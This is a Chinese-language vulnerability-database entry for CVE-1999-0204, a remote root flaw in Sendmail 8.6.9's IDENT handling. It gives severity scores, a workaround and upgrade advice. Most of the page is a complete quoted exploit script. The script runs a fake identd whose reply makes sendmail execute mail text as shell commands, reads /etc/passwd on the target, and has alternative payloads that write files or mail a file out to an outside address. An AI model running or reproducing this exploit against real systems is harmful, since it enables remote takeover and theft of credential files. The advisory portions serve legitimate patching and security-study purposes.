CVE-1999-0204
CVSS10.0
发布时间 :1997-01-01 00:00:00
修订时间 :2008-09-09 08:34:00
NMCOE    

[原文]Sendmail 8.6.9 allows remote attackers to execute root commands, using ident.


[CNNVD]Sendmail 8.6.9 IDENT远程缓冲区溢出漏洞(CNNVD-199701-036)

        
        Sendmail是一个广为使用的Internet邮件传输程序。
        8.6.9版本的Sendmail的IDENT功能实现上存在缓冲区溢出漏洞,远程攻击者可以利用此漏洞直接得到主机的root权限。
        <*链接:http://www.ciac.org/ciac/bulletins/f-13.shtml
        *>

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0204
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0204
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199701-036
(官方数据源) CNNVD

- 其它链接及资源

- 漏洞信息

Sendmail 8.6.9 IDENT远程缓冲区溢出漏洞
危急 未知
1997-01-01 00:00:00 2005-05-02 00:00:00
远程  
        
        Sendmail是一个广为使用的Internet邮件传输程序。
        8.6.9版本的Sendmail的IDENT功能实现上存在缓冲区溢出漏洞,远程攻击者可以利用此漏洞直接得到主机的root权限。
        <*链接:http://www.ciac.org/ciac/bulletins/f-13.shtml
        *>

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 关闭IDENT协议功能
        在Sendmail的配置文件中加入:
        Orident=0
        然后重启Sendmail。
        厂商补丁:
        Eric Allman
        -----------
        目前厂商已经在新版的软件中修复了这个安全问题,请到厂商的主页下载:
        
        http://www.sendmail.org

- 漏洞信息 (20599)

Sendmail 8.6.9 IDENT Remote root Vulnerability (EDBID:20599)
unix remote
1994-02-24 Verified
0 CIAC
N/A [点击下载]
source: http://www.securityfocus.com/bid/2311/info

A vulnerability in the IDENT function of sendmail 8.6.9 allows attackers to obtain remote root access. Very little other information on this vulnerability is currently available; this is an old vulnerability. 


it for sm869 or worse
# identd must not be enabled (port 113 must be free)

# this must be a host that mail can go to (MX not pointing elsewhere)
# that we cant reach right now (ie. host doesnt exist anymore)
UNREACHABLE="goofy.uhcc.hawaii.edu"

# Commands to run on remote host
COMMANDS="cat /etc/passwd"

# what host to run it on
TARGET="foobar.all.net"

# work in a temp dir
TD=/tmp/.Xwork.$$
mkdir $TD
cd $TD

cat > a.c <<_END_
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

/* run body of mail through shell run as daemon */
#define REPLY "USERID : UNIX : a\nC:daemon\nR\"|sed '1,/^$/d'|/bin/sh\"\nHXxx: "

#ifdef other_possibilities
/* write to a file as daemon */
#define REPLY "USERID : UNIX : a\nC:daemon\nR/tmp/writeme\nHXxx: "
/* send back a file to someone and erase it */
#define REPLY "USERID : UNIX : a\nD/tmp/sendtome\nRemmanuel@2600.com\nHXxx: "
#endif

readline(fd, buf, len)
char *buf;
{
    int i = 0;

    while(i < len && read(fd, &buf[i], 1) == 1 && buf[i]) {
       if(buf[i] == '\r' || buf[i] == '\n')
           break;
       i++;
    }
    buf[i] = '\0';
}

die(str)
char *str;
{
    perror(str); exit(1);
}

main()
{
    int s, s2, adlen;
    struct sockaddr_in ad;
    char buf[60];

    ad.sin_family = AF_INET;
    ad.sin_port = htons(113);
    ad.sin_addr.s_addr = INADDR_ANY;
    if((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) die("socket");
    if(bind(s, (struct sockaddr *)&ad, sizeof(ad)) == -1) die("bind");
    if(listen(s, 1) == -1) die("listen");
    adlen = sizeof(ad);
    s2 = accept(s, (struct sockaddr *)&ad, &adlen);
    if(s2 == -1) die("accept");
    printf("Connection from %s port %d\n", 
        inet_ntoa(ad.sin_addr), ntohs(ad.sin_port));
    readline(s2, buf, 50);
    sprintf(buf + strlen(buf), " : %s\n", REPLY);
    write(s2, buf, strlen(buf));
}
_END_

# compile program
echo "compiling"
cc a.c -o ident
echo "running fake ident"
./ident &

# send to reomte
echo "talking to remote"
(
  sleep 1; echo "helo"
  sleep 1; echo "mail from: <dan>"
  sleep 1; echo "rcpt to: <bounce@$UNREACHABLE>"
  sleep 1; echo "data"
  echo "$COMMANDS"
  echo "."
  sleep 1; echo "quit"
  sleep 5
) | telnet $TARGET 25

# cleanup
cd /
rm -rf $TD
echo "done."

		

- 漏洞信息

219
Sendmail IDENT Function Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Exploit Public Vendor Verified

- 漏洞描述

- 时间线

1995-02-22 Unknow
1995-02-22 Unknow

- 解决方案

Upgrade to version 8.6.10 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站